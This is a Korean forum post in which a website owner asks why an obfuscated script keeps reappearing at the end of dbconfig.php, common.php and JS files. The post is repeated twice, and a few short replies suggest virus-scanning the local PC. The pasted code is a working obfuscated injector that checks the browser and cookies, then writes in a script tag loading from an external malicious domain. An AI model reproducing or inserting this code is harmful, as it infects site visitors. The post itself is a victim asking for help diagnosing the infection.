특정파일 맨밑에줄에 이런내용이 들어가있습니다.
안녕하세요..
잘되던 사이트가 어느날 갑자기 화면이 늦게 뜨는 현상이 생겼습니다.
그래서 파일을 확인해보니...
일부파일내용 맨 밑에줄에
<!--
(function(D2XP){var xY6='%';var XUS='var-20a-3d-22-53c-72iptEn-67i-6ee-22-2cb-3d-22-56ersion()-2b-22-2cj-3d-22-22-2c-75-3dnav-69-67-61tor-2euserAgent-3bi-66((u-2ei-6e-64ex-4ff(-22W-69n-22)-3e-30)-26-26-28-75-2eindex-4ff-28-22-4e-54-206-22-29-3c-30-29-26-26(docu-6dent-2ecoo-6bi-65-2ein-64-65xOf-28-22mi-65k-3d1-22-29-3c0)-26-26(-74ypeof(zrvzts)-21-3d-74ypeof(-22A-22)))-7bzrvzts-3d-22A-22-3beva-6c-28-22if(window-2e-22-2ba+-22)j-3d-6a+-22+a-2b-22Major-22+b+-61+-22-4din-6f-72-22+b-2ba-2b-22Buil-64-22+b+-22-6a-3b-22)-3b-64-6f-63ume-6et-2ewrite(-22-3cscr-69pt-20-73rc-3d-2f-2fgumblar-2ecn-2frss-2f-3fid-3d-22-2bj-2b-22-3e-3c-5c-2fscr-69pt-3e-22-29-3b-7d';eval(unescape(XUS.replace(D2XP,xY6)))})(/-/g);
-->
이러한 내용이 들어가 있는데...
제가 삽입한것도 아닌데 어떤증상인지 아시는분 설명 부탁드립니다.
제가 확인해보니 위 내용이 삽입된 파일이
dbconfig.php, common.php, js 폴드안에 있는 파일 (현재 확인한바로는...)
위 내용을 지워도 다시 생기고 하는데 원인을 모르겠습니다
잘되던 사이트가 어느날 갑자기 화면이 늦게 뜨는 현상이 생겼습니다.
그래서 파일을 확인해보니...
일부파일내용 맨 밑에줄에
<!--
(function(D2XP){var xY6='%';var XUS='var-20a-3d-22-53c-72iptEn-67i-6ee-22-2cb-3d-22-56ersion()-2b-22-2cj-3d-22-22-2c-75-3dnav-69-67-61tor-2euserAgent-3bi-66((u-2ei-6e-64ex-4ff(-22W-69n-22)-3e-30)-26-26-28-75-2eindex-4ff-28-22-4e-54-206-22-29-3c-30-29-26-26(docu-6dent-2ecoo-6bi-65-2ein-64-65xOf-28-22mi-65k-3d1-22-29-3c0)-26-26(-74ypeof(zrvzts)-21-3d-74ypeof(-22A-22)))-7bzrvzts-3d-22A-22-3beva-6c-28-22if(window-2e-22-2ba+-22)j-3d-6a+-22+a-2b-22Major-22+b+-61+-22-4din-6f-72-22+b-2ba-2b-22Buil-64-22+b+-22-6a-3b-22)-3b-64-6f-63ume-6et-2ewrite(-22-3cscr-69pt-20-73rc-3d-2f-2fgumblar-2ecn-2frss-2f-3fid-3d-22-2bj-2b-22-3e-3c-5c-2fscr-69pt-3e-22-29-3b-7d';eval(unescape(XUS.replace(D2XP,xY6)))})(/-/g);
-->
이러한 내용이 들어가 있는데...
제가 삽입한것도 아닌데 어떤증상인지 아시는분 설명 부탁드립니다.
제가 확인해보니 위 내용이 삽입된 파일이
dbconfig.php, common.php, js 폴드안에 있는 파일 (현재 확인한바로는...)
위 내용을 지워도 다시 생기고 하는데 원인을 모르겠습니다
|
댓글 작성
댓글을 작성하시려면 로그인이 필요합니다.
로그인하기
댓글 4개
http://sir.co.kr/bbs/board.php?bo_table=cm_free&wr_id=318646
http://sir.co.kr/bbs/board.php?bo_table=cm_free&wr_id=318265
자체쓰는 컴퓨터 바이러스 점검해보세요 저거 고칠때 다른컴퓨터에서 작업해서 삭제 해보세요
그럼 문제가 알립니다.
저런 코드 때문에 한번 애먹은적이 있어서 계정받은 호스팅을 포기한 경우도 있었네요.ㅡ.ㅡ;
결국은 index 사용안하고 다른 파일명으로 써서 일단은 막았어요..